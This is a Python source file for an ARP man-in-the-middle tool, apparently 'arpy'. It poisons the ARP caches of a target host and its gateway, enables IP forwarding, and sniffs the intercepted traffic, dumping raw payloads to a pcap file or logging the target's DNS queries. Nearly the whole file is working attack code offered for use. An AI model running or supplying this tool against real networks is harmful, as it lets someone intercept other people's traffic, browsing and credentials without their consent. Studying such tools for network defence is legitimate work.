#!/usr/bin/env python #The MIT License (MIT) #Copyright (c) 2015 Ivan Viljoen #Permission is hereby granted, free of charge, to any person obtaining a copy #of this software and associated documentation files (the "Software"), to deal #in the Software without restriction, including without limitation the rights #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell #copies of the Software, and to permit persons to whom the Software is #furnished to do so, subject to the following conditions: #The above copyright notice and this permission notice shall be included in #all copies or substantial portions of the Software. #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN #THE SOFTWARE. import scapy.all as scapy from random import randint import threading, os, sys, optparse, time import atexit options = optparse.OptionParser(usage='%prog -t <Target IP> -g <Gateway IP> -i <Interface>', description='ARP MiTM Tool') options.add_option('-t', '--target', type='string', dest='target', help='The Target IP') options.add_option('-g', '--gateway', type='string', dest='gateway', help='The Gateway') options.add_option('-i', '--interface', type='string', dest='interface', help='Interface to use') #Filters options.add_option('--tcp', action='store_true', dest='tcp', help='Filters out only tcp traffic') options.add_option('--udp', action='store_true', dest='udp', help='Filters out only udp traffic') options.add_option('-d', '--destination_port', type='string', dest='d_port', help='Filter for a destination port') options.add_option('-s', '--source_port', type='string', dest='s_port', help='Filter for a source port') #Options options.add_option('--sniff', action="store_true", dest="sniff_pkts", help='Sniff all passing data') options.add_option('--sniff-dns', action="store_true", dest="dns_sniff", help='Sniff only searched domains') options.add_option('--sniff-dns-gource', action="store_true", dest="dns_sniff_gource", help='Output target\'s DNS searches in gource format') options.add_option('-v', action='store_true', dest='verbose', help='Verbose scapy packet print') opts, args = options.parse_args() version = '3.15' target = opts.target gateway = opts.gateway interface = opts.interface dns_sniff = opts.dns_sniff dns_sniff_gource = opts.dns_sniff_gource sniff_pkts = opts.sniff_pkts vthread = [] gwthread = [] layers = [] scapy_filter = {"protocol": None, "dst_port": None, "src_port": None} random_filename = "/tmp/" + str(randint(10000,99999)) class bcolours: OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' class user: CURRENT_USER_NAME = os.getlogin() CURRENT_USER_ID = os.getuid() def banner(): banner = bcolours.OKBLUE + """ _____ | _ |___ ___ _ _ | | _| . | | | |__|__|_| | _|_ | MiTM Tool |_| |___| v"""+version+ """ -@viljoenivan """ + bcolours.ENDC return banner def unprivileged_user_print(username): print "\n" + bcolours.FAIL + "You are running this as " + bcolours.WARNING + user.CURRENT_USER_NAME + bcolours.FAIL + " which is not" + bcolours.WARNING + " root." + bcolours.FAIL print "Consider running it as root." + bcolours.ENDC def setup_ipv_forwarding(): if not dns_sniff_gource: print(bcolours.OKBLUE + '[Info] Enabling IP Forwarding...' + bcolours.ENDC) os.system('sysctl -w net.inet.ip.forwarding=1 > /dev/null') os.system('sudo sysctl -w net.inet.ip.forwarding=1 > /dev/null ') def exit_handler(): if not dns_sniff_gource: print(bcolours.OKBLUE + '[Info] Disabling IP Forwarding...' + bcolours.ENDC) os.system('sysctl -w net.inet.ip.forwarding=0 > /dev/null') os.system('sudo sysctl -w net.inet.ip.forwarding=0 > /dev/null ') print(bcolours.OKBLUE + '[Info] Application Ended Gracefully.' + bcolours.ENDC) atexit.register(exit_handler) def filter_parser(): if opts.tcp and opts.udp: scapy_filter["protocol"] = '' if not (opts.tcp or opts.udp): scapy_filter["protocol"] = '' elif opts.tcp or opts.udp: scapy_filter["protocol"] = 'tcp and ' if opts.tcp else 'udp and ' if opts.d_port: scapy_filter["dst_port"] = opts.d_port if opts.s_port: scapy_filter["src_port"] = opts.s_port final_filter = scapy_filter["protocol"] + '((src host ' + target + ' or dst host ' + target + ')' if scapy_filter["dst_port"]: final_filter += ' and dst port ' + scapy_filter["dst_port"] + ')' elif dns_sniff or dns_sniff_gource: final_filter += ' and dst port 53)' else: final_filter += ')' if scapy_filter["src_port"]: final_filter += ' and (src port ' + scapy_filter["src_port"] + ')' return final_filter def dnshandle(pkt): if dns_sniff_gource: sys.stdout = open(random_filename+'parsed_nmap', 'a') FQDN = pkt.getlayer(scapy.DNS).qd.qname domain = FQDN.split('.') print str(time.time())[:-3] + "|" + target + "|A|" + str(domain[1]) + '/' + str(FQDN) else: if pkt.haslayer(scapy.DNS): print(bcolours.OKBLUE + pkt.getlayer(scapy.IP).src + '\t' + pkt.getlayer(scapy.IP).dst + '\t' + bcolours.WARNING + pkt.getlayer(scapy.DNS).qd.qname + bcolours.ENDC) def rawhandle(pkt): if sniff_pkts: scapy.wrpcap(random_filename+"arpy.pcap",pkt) counter = 0 while counter < 1: counter += 1 layer = pkt.getlayer(counter) if layer.haslayer(scapy.Raw) and layer.haslayer(scapy.IP): print(bcolours.OKBLUE + '\n[Info] Found the following (' + layer.name + ' layer): ' + layer.src + " -> " + layer.dst + bcolours.ENDC) tcpdata = layer.getlayer(scapy.Raw).load if not opts.verbose: print tcpdata else: print layer.show() else: break def poison(): v = scapy.ARP(pdst=target, psrc=gateway) while True: try: scapy.send(v,verbose=0,inter=1,loop=1) except KeyboardInterupt: print(bcolours.OKBLUE + ' [Warning] Stopping...' + bcolours.ENDC) sys.exit(3) def gw_poison(): gw = scapy.ARP(pdst=gateway, psrc=target) while True: try: scapy.send(gw,verbose=0,inter=1,loop=1) except KeyboardInterrupt: print(bcolours.OKBLUE + ' [Warning] Stopping...' + bcolours.ENDC) sys.exit(3) def start_poisen(target, interface, scapy_filter): vpoison = threading.Thread(target=poison) vpoison.setDaemon(True) vthread.append(vpoison) vpoison.start() gwpoison = threading.Thread(target=gw_poison) gwpoison.setDaemon(True) gwthread.append(gwpoison) gwpoison.start() if dns_sniff or dns_sniff_gource: pkt = scapy.sniff(iface=interface,filter=scapy_filter,prn=dnshandle) else: pkt = scapy.sniff(iface=interface,filter=scapy_filter,prn=rawhandle) def main(): try: if user.CURRENT_USER_ID <> 0: unprivileged_user_print(user.CURRENT_USER_NAME) if dns_sniff_gource: print(bcolours.OKBLUE + '[INFO] For a live gource feed run this command in parallel with this one:' + bcolours.WARNING + '\n\ntail -f ' + random_filename + 'parsed_nmap | tee /dev/stderr | gource -log-format custom -a 1 --file-idle-time 0 -\n\n' + bcolours.ENDC) #This check is to see if anything but gource parser is set if (not dns_sniff_gource) or (dns_sniff or sniff_pkts): print banner() #check if we actually have some info if target == None or gateway == None and interface == None: options.print_help() return if dns_sniff: print(bcolours.OKBLUE + '\n [Info] Starting DNS Sniffer...\n' + bcolours.ENDC) elif sniff_pkts: print(bcolours.OKBLUE + '\n [Info] Starting Sniffer...\n' + bcolours.ENDC) if dns_sniff_gource or dns_sniff or sniff_pkts: setup_ipv_forwarding() print (bcolours.OKBLUE + '[Info] Filter: ' + filter_parser() + bcolours.ENDC) print ("Target\tDNS\tFQDN") while True: start_poisen(target, interface, filter_parser()) else: options.print_help() except KeyboardInterrupt: print(bcolours.WARNING + ' [Warning] Stopping...' + bcolours.ENDC) sys.exit(3) if __name__ == '__main__': main() #TO-DO #Look at adding sslsplit functions #Port this to kali #Integrate multi-processing